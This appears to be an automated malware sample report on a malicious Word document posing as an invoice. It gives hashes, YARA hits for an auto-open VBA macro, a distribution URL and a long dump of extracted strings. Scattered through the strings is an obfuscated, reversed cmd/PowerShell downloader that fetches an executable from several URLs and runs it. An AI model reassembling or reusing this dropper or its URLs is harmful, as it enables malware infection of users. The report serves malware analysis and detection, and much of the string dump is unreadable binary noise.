Sample details: 2a78d964dc4a8c944338dad790f51071 --

Hashes
MD5: 2a78d964dc4a8c944338dad790f51071
SHA1: 7a51f803aae1a8102b27535952478c61bd1c7783
SHA256: d6e1bc03de08f641bdb2cf384d52071d7798907a1c3e1f20e1c25082ff7e3a16
SSDEEP: 1536:RptJlmrJpmxlRw99NBC+aU8hgzDk8Gbgv:Pte2dw99fahgZT
Details
File Type: Composite
Yara Hits
YRP/office_document_vba | YRP/Office_AutoOpen_Macro | YRP/Contains_VBA_macro_code | YRP/domain | YRP/url | YRP/contentis_base64 | YRP/maldoc_OLE_file_magic_number | YRP/Big_Numbers0 | FlorianRoth/Office_AutoOpen_Macro |
Source
http://ingebo.cl/Document/EN_en/Inv-566468-PO-8B393306
Strings
		ifHjUWQZfqSdDsvEHdpnukOqK  
UNICODE
 Compressed by jpeg-recompress
&""&0-0>>T
&""&0-0>>T
mdK%?<y
 "$0234p
rkitNP
yNkl[o
|"J$fb|
Z|&1Vk.
C,*uXt
Q,CT!'
)un$oW
#3BRSb
!AmZ]&54
d.:zM1
?tc&<i
 zM7&v
p[<fu$H 
>uiq[m
yM\lb"
XKZF	:
y8xB6/
k(kEyw
!1AQaq
+LU>j/
:zPpr8aB
nUBa+W
Fita@\K
YU}MR.]8Zh
MH8GZb
b@q$Jo
Qrrz2_
N7DYha
j.dqd5
sE>,8?0
$`35QTt
`NuGWp
a	)M6V
r%%8Qv
jSK7eH+-
 "$1@0236`t
KsOuw,
c&fP"?r
c&fP""
8Xs9b\
2%Ufbl
fV"g15
#03`bqr
`dj)X0
#&%"y:
hY?ZWP
R`H$E[!
[Content_Types].hRQ
_Mucj/.Mucj
qvfHI/qvfHI/qvfHIManager.hRQ
qvfHI/qvfHI/qvfHI1.hRQ
$4vq^W
MB[F7x"
>Yr]H+
a!e9#i
An7jah
qvfHI/qvfHI/_Mucj/qvfHIManager.hRQ.Mucj
K(M&$R(.1
[Content_Types].hRQPK
_Mucj/.MucjPK
qvfHI/qvfHI/qvfHIManager.hRQPK
qvfHI/qvfHI/qvfHI1.hRQPK
qvfHI/qvfHI/_Mucj/qvfHIManager.hRQ.MucjPK
kjtzN version="1.0" encoding="UTF-8" standalone="yes"?>
<a:clrMap xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" bg1="lt1" tx1="dk1" bg2="lt2" tx2="dk2" accent1="accent1" accent2="accent2" accent3="accent3" accent4="accent4" accent5="accent5" accent6="accent6" hlink="hlink" folHlink="folHlink"/>
Normal.dotm
Microsoft Office Word
Project
\G{00020
0046}#
2.0#0#C:
\Windows
\system3
e2.tlb
#OLE Aut
omation
ENormal
!Offic
!G{2DF
8D04C-5B
FA-101B-
m Files\@Common
icrosoft
 Shared\
OFFICE16
\MSO.DLL
M 16.0
MSjtzMBK
nRAYKEG
*\CNormalrU
ThisDocument
Project
md /V^:^O/
s^e^t ^m^5J=   
^ ^ ^ ^
 ^ ^ ^
  ^ ^  ^ ^  
}^}{^h
};^ka^erb^;^jw
^m$ me^
tI^-e^kovnI;)j^w^m^$^ 
^,zM^s$(el
^i^Fda^olnwo^D.^T^jn^${yrt{)^w
G^q$^ n^i ^zMs$(^h
ero^f^;'e^xe^.^'^+^jl^F^$+^
il^bu^p^:vn^e$^=jw^m
$^;'^8^1^1'^ 
^= j^l^
F^$;)'@'(t^il^p^S^.'^0^uvb/^
pj.rev^er^k//:p^tth^@eT^X90/^
ur^.^m^a
^k-ked//^:pt
^t^h@Xi/^m^o
n^e^sse^l
^ar^ut^an7//
:p^tth
@^j^eYJW^uh/mo
wal^7s^tnen^
^7//:p^tth@Jy^l^t
/^ur.^st^eqra^m//^:p^t^th
^'^=wGq$^;^tn^e^i^l
^b^e^W.t^e
^ejb^o-wen^=^T^jn^$ ll
e^hsre^w^o^p&&^f^o
r /^L %^w ^
in (346^,-^1
^,0)^do ^s^et ^Sn7=!^Sn7!!^m^5
J:~%^w,1!&&i^f %
^w l^e
^q ^0 
^al^l %^Sn7:^~-
^3^4^7%
Attribut
e VB_Nam
e = "PnR
unction 
knLAEj()
 0Resu
Dim @MARXnd
lKSBv * @ZzYwOX
oLw / 90
JbjJwoA
!67282
( KKRzs
(hNVDYo
"wPFaVE)
9@SXNFlJ
655D64
zfTPVK
 tjJPYA
-17221
LIGVHvN
at(Chr(1
"md /V^:
s^e^t ^
m^5J=   
}^}{^hG
;^ka^erb ^;^jw
"^@m$ me^
I^-e^kov
nI;)j^w@0
/,zM^s0$(el
RpRs@nhu
JzzirA
@XZLBOL
 14228@
qfThYN
OQGaoq
 hmzak
	jtsTp
nMrRkR
2GjjGZ
.LOrwdI
	(68274
4984AiLWc
ZIbnFz
f834aYw cFsFj
jsVYPiF
dWFUNUWA
DAdma!
MjZJqv
 ZEHZj
8bpPsRKLB!
019829 
 uDibS@
=UHnmD!
9znjr!
LhCJt)
AZGjWT 
1R TGPGh
R MCiUM
A/RfjiC
5(91B7@
L@vccvhc
IwfUdcu
B`TQizR
kPVN!Ffqv
ur!=(12
394970
	 jkjKF
* nYJX0Lp
B165B7
HGAf!%S
v/ rmhhHA
{p`NAVwqe
METO"V
6042A!1fEXmj
NYXjqsB 
"^i^Fda^
olnwo^D.
^T^jn^${@yrt{)^
n^i ^LzM
Tero^f^
;'e^xe^.
^'^+^jl^
il^bu^p
^:vn^e$^,=j
^8 ^1^1'
;)' @'(t^
S^.'^0^u
ev`a^k//:
p^tth^@e T^X90
f"^k-k
ed//^:pt
`qLiVN
 50qZ/ Os
VcScp tCc
[815026
BJNnA%
Mfp!7553
&* p dzmBu
13@8a0
43P7/ dXZBj1
%7304B5
b@VVDBXqRHJXp
JluNtBC
.48765
0UInHA
\(OhAQ
?pkrcWiw
u/  wzKt
zUoa{CkPM
KKiMpCQx0
OKSwja"9
HGQH6599aR WXsHO@
DCud2KAF68
jQuwAcvC
-58002
OcWYQD
zmC4PY
Sz4lz!$6@
kzcNZa7a.
pzajiBv
7242A|u
Nklb5piNo
Zrsd!!(4691A
jO0zKJu
	cThG1
!A tvzR
wWobjS!
vatqAVmQA
rsPqA!
dVmWH!
YXJGna
(fInCI
 lXsCzp
cfBNwq
q3kt^h@Xti/@
oQ_?c?c 
e^sse^Bl
j^eYJW^uxh/mO	
wal^7@s^tnen
'149AKrCQDnR1GqJj0
/  DowdA!44
UEzqhr *
 KwOMc
QTzIOD(1
) = (PGr
PRw / Mf
D10851
  OsriR
PAiniV
8oDUIBI
 pwwsM
>9996B9
	EAuDvBk
NWPjtLA
Qun8kjn
e/  HpCPs
+ prIGM
HFtjkMp
"/^ur.^s
t^eqra^m
//^:p^t^
th" + "^
'^=wGq$^
;^tn^e^i
t(Chr(8
$N^ ^t
^o-wen^=
^T^jn^$ 
"e^hsr
e^w^o^p&`&^f^o
L %^w ^
in (346^
)^do ^s^
et ^Sn7=
!!^m^5
&&i^f %
 w l^e
q 8^0 
H@Y1al
Dim p jNiD(
qPMlPW
fvaowo
(VNIdZC
MBvcpA
@iwtzlb@
D`ERrXP
	BTruA
zhrNM)
^3^4^7
:knLAEj
LIGVHvNt
wqcNboA
HrlCma'&
"&4755
bkuEOC
iYkrOdA
ihoTSS`
`uB4ah(325
 cAMOC
'74173
pXauNa!z 19948
ri`zGM
TpMJwjA
60958A
YGCDzL
1$!EIh|Ov'!
"!(`qiNtT
!u umBjH 
TkLSz"BA
fwQYqE
(ikHqc
 dmObA
vqZwp 
AtBR!8MCX
nIurVZ
End Fun ction
MSjtzMBKNuno
Module1
PnRAYKE
C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7.DLL
C:\Program Files\Microsoft Office\Root\Office16\MSWORD.OLB
C:\Windows\system32\stdole2.tlb
stdole
C:\Program Files\Common Files\Microsoft Shared\OFFICE16\MSO.DLL
Office
Document
AutoOpen
ID="{01B001FA-4020-4FFC-A0C5-418C7BEDFF81}"
Document=MSjtzMBKNuno/&H00000000
Module=PnRAYKE
ExeName32="VVvOEAQjX"
Name="Proj
Attribut
e VB_Nam
e = "MSj
tzMBKNun
1Normal
.ThisDoc ument
lFalse
Creatabl
Predecl
BExpose
Template Deriv
stomiz
Sub Auto
Open()
  Dim vG
1530 * D
JKwzu /  64043
aATYTnk
( 44621
MtPasMs
rafXbk
 ZPRiC
aXGFiA
kvcVpE
	UUZpa@	
(tlviNi@
pjYra)
UzZKcs
TPXPwSA
 72813
`sWLXd
%m RzbJK@
Ot0Kirn
VZmTBO
0EBXhz
D@vsBVvm
2`JFqKU
7576A<46
DGMfTir`
KKBCWA
kJjPMBG`
&)bdjt|wwG)
AwLDDi
"'rqvd
ztCpnA`
jMnscabb ibnGq 
.NUGFAu
`y oRIOI
"-zYPah
DYYXaf
CGqzHz
@98A@sPObBJ
grmAA$
* Noun
-tQtbl>R
	Bbi & * 719
MjACZXGp
e51236
XijRzA@
cLKEma
+ JcMica
7099AM(91
aZXZEw
ptHERPA
(5979!
&cTvQlv
nfOlz!
TMIEAu`
7600aQiiw
PKpfHV
NhIKzA
GlLKz!
oXH"'iaFj
1926a! ZWtaD
ell@ knL
+ JRUw
FTwm + U
qWRXvdXD@mcc, Fa
iXRVmZF
/ (DUDa
GZS8ChUA
cSlhBE
* QmBd
-iCoPSk
?lKdSWAA
A,ih@m0
VpDiElq\(@JJGSKL
@BhUPYh
sLsP1L(aD
RzmadYv
NppMEM 
](5450
$b cVfjf`
$/ 5788
!%(98s
QZXdJ)
RXKFAWHPw
0UPZJz
Win64x
Project1
stdole
Project-
ThisDocument<
_Evaluate
Normal
Office
Documentj
MSjtzMBKNunoB
AutoOpen
vGFXYV
DJKwzuu
akzqjpM
tdYdCX
aATYnk
MtasMs
tArOGCG
rafXbk
aXGFiAA0
VRltIS
kvcVpE#/
OZZuGZ
tlviNil
UzZKcs
TPXPwS
QGzwSd_
nKpUsn
qKcYN1
mRzbJK
OtKirn\N
vfciho
VZmTBOh
EBXhz{
MLrwah
vsBVvmU
jEwYfV
waupOP
jjZQKU
TMTYwY^
GMfTir
sRkXPwN
JjEKj1A
NkqqvI
rTCnYJ8
EqaEj;
kJjPMG
iSJMam
liTUOt3
bdjtww
NvoKtQ
AwLDiaH
AuIGqG[
rqvdvp
jMnsck
bibnGqe
NUGFu3
FVIEi%R
bABFQ;
DoRIOI
FTLmZ-
jtjirf(
zYPahW
CGqzHz
YrarmUK)
voTjQj
phkfHY
NounF7
tQtblR
IAansk
qZGLEY
DJFLre
CKkHmd
JcMics
iQPjUB
cTvQlv
lbbjBk
MVLawou
uWmJEj+
DinMGP
TMIEAu>
tPpRb9
iiwUji
KpfHVO
NhIKzob
iaFjND<
ShellV
knLAEj#!
JRUwFTwm
UqWRXvdXDmcc
UkpbUu
XRVmZF
DUDardM
cSlhEd
iCoPSk
CFhOpq
lKdSWix
TzIwzw
HPfjVbw
pDiElm
JJGSKL
BhUPYh
wwoQhK
sLsPG;9
aDRIB7
RzmaYv
bcVfjfB
RzQji@k
RXKFte
HPwrvA
YchbrU
ranXNM
AIwZQT
Module1b
PnRAYKE
MARXnd
lKSBvGt
ZzYwOXJ
WwdoLw
cEjrPC
JbjJwo
iWbnEp
hNVDYoJ
wPFaVE
SXNFlJ
NtjJPY
LIGVHvNtcl
iQEmL@
lRpRsY
huSYO2
JzzirA
XZLBOL
qfThYN,o
OQGaoq
hmzakK
jtsTpw
nMrRkR9
qNciEs,
LOrwdI
LWcuPz
wcFsFj
ZfpNs^
sCVdEjsZ
jsVYPi%	
WFUNUWv
DAdmaE
mwaJMy%
MjZJqv#
PsRKLB
uDibSs
wWMqFt
uhPwKza 
ifLrFT
zsSsuS>
UHnmDk
znjroF
uJfXAX
AZGjWTtk
RTGPGh
MCiUM"
ouYHH[
RfjiCl
vbmjbA
pbRGsN
vccvhcJS
IwfUcu
BTQizR
fqvurj
TRtot|r
nYJXLp1S
HGAfMb
SkNLPUX
sZMFDP
jNboElH
aMJnoN
pNAVwq
NMETOV
jRvLIj4F
VNYXjqsB
pOKSdO
OsVcSc
TXFznob
rdfbbo2
AqDEZQ4
pdzmBu
dXZjR1
WpPMjc
PJtpLd
LluNtC
GCXHjV
UInHBR
HuwjXE$
pkrcWi!
wzKtiR
LDzUoL
CkPMMM
uwzXDT<
JncDSu})
KiMpCw6]
MIIHGF
DCudKHFA
QuwAcC
NdBOcv
OcWYQD:\
zmCPYA
NatnpW
kzcNZa
zajiv=
uNklD2
opiNoh
MnXmKws
jOzKJu
ZItQqH
XhJvYq
VsDBAq
tvzRHBg
pDjFrP
wWobjS
ivpfjc-
SfvatuG
rsPqTd
dVmWHY
jwuNBW
zmusSe
YXJGna&M
dSEWwF
lXsCz3~
zuFVzA
cfBNwqcNboB
QTzIODN
rCQnRd
HVCATC
UEzqhr.
PGrPRwi
iiVAPT
iAiniV
oDUIBIW
VhZMpz
wZGzhqk
EAuDvk
WjtLAgh
FdPIlz
Qunkjn9h
HpCPsi
iuDuzK
UOrrv/
FCIHFtjkMp
GcHqjq
pSztJ)
PMlPWLRS
fvaowo
VNIdZC
MBvcpA
iwtzlb
DERrXP
bJUTHCUf
zhrNMF
EjUnwrv
rlCmahQ
bkuEOC.
iYkrOd
ihoTSS
XauNaq6
rizGM|z
TpMJwjY	
YGCDzL
tRtXEIl
qiNtTA
uumBjHL
TkLSzB
Pjmwr)
fwQYqE
OVCdwc
IGDTjd8/
bVpQVC
wavvGMI
HvqZwp
FAtBRC
MCXTH/
nIurVZ;
HelpContextID="0"
VersionCompatible32="393222000"
CMG="9C9E6C1294AA98AA98AA98AA98"
DPB="383AC82BC92BC92B"
GC="D4D6245A5CF75DF75D08"
[Host Extender Info]
&H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000
[Workspace]
MSjtzMBKNuno=0, 0, 0, 0, C
PnRAYKE=25, 25, 1385, 693, 
MSjtzMBKNuno
PnRAYKE
Microsoft Word 97-2003 Document
MSWordDoc
Word.Document.8
Normal.dotm
Microsoft Office Word